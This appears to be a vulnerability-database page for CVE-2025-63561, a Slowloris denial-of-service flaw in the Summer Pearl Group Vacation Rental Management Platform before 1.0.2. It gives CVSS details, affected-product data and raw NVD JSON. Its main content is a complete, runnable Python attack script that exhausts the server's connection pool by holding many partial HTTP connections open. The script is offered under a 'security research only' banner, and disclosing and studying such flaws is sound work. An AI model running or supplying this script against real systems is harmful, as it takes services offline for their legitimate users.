Security Vulnerability Report
中文
CVE-2025-63561 CVSS 7.5 HIGH

CVE-2025-63561

Published: 2025-10-31 20:15:53
Last Modified: 2025-11-05 19:32:01

Description

Summer Pearl Group Vacation Rental Management Platform prior to 1.0.2 is susceptible to a Slowloris-style Denial-of-Service (DoS) condition in the HTTP connection handling layer, where an attacker that opens and maintains many slow or partially-completed HTTP connections can exhaust the server’s connection pool and worker capacity, preventing legitimate users and APIs from accessing the service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:summerpearlgroup:vacation_rental_management_platform:*:*:*:*:*:*:*:* - VULNERABLE
Summer Pearl Group Vacation Rental Management Platform < 1.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63561 PoC - Slowloris DoS Attack Target: Summer Pearl Group Vacation Rental Management Platform < 1.0.2 """ import socket import time import random import argparse def create_socket_with_options(target_host, target_port, timeout=10): """Create and configure socket connection""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((target_host, target_port)) return s def slowloris_attack(target_host, target_port, num_connections=200, delay=15): """ Perform Slowloris attack by maintaining partial HTTP connections Args: target_host: Target server hostname or IP target_port: Target HTTP port num_connections: Number of connections to maintain delay: Delay between partial sends in seconds """ sockets = [] print(f"[*] Starting Slowloris attack against {target_host}:{target_port}") print(f"[*] Establishing {num_connections} connections...") # Create initial connections for i in range(num_connections): try: s = create_socket_with_options(target_host, target_port) # Send partial HTTP request (missing final \r\n\r\n) headers = [ f"GET / HTTP/1.1", f"Host: {target_host}", f"User-Agent: Mozilla/4.0", f"Content-Length: {random.randint(1000, 10000)}" ] s.send("\r\n".join(headers).encode() + "\r\n".encode()) sockets.append(s) print(f"[+] Connection {i+1}/{num_connections} established") except Exception as e: print(f"[-] Connection {i+1} failed: {e}") print(f"[*] Maintaining {len(sockets)} connections...") # Keep connections alive by sending partial data try: while True: for s in sockets: try: # Send a partial header line to keep connection alive s.send(b"X-a: b\r\n") print(f"[*] Sent keep-alive to socket") except: sockets.remove(s) # Reconnect to replace lost connection try: new_s = create_socket_with_options(target_host, target_port) new_s.send(f"GET / HTTP/1.1\r\nHost: {target_host}\r\n\r\n".encode()) sockets.append(new_s) except: pass time.sleep(delay) except KeyboardInterrupt: print("\n[*] Attack stopped by user") finally: for s in sockets: s.close() print("[*] All connections closed") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-63561 Slowloris PoC") parser.add_argument("target", help="Target hostname or IP") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") parser.add_argument("-n", "--connections", type=int, default=200, help="Number of connections") parser.add_argument("-d", "--delay", type=int, default=15, help="Delay between sends") args = parser.parse_args() slowloris_attack(args.target, args.port, args.connections, args.delay)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63561", "sourceIdentifier": "[email protected]", "published": "2025-10-31T20:15:53.280", "lastModified": "2025-11-05T19:32:00.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Summer Pearl Group Vacation Rental Management Platform prior to 1.0.2 is susceptible to a Slowloris-style Denial-of-Service (DoS) condition in the HTTP connection handling layer, where an attacker that opens and maintains many slow or partially-completed HTTP connections can exhaust the server’s connection pool and worker capacity, preventing legitimate users and APIs from accessing the service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:summerpearlgroup:vacation_rental_management_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.2", "matchCriteriaId": "E70289E7-BECA-463B-ABB1-0C46DBDF2057"}]}]}], "references": [{"url": "https://github.com/Stolichnayer/Summer-Pearl-Group-Slowloris-DoS", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}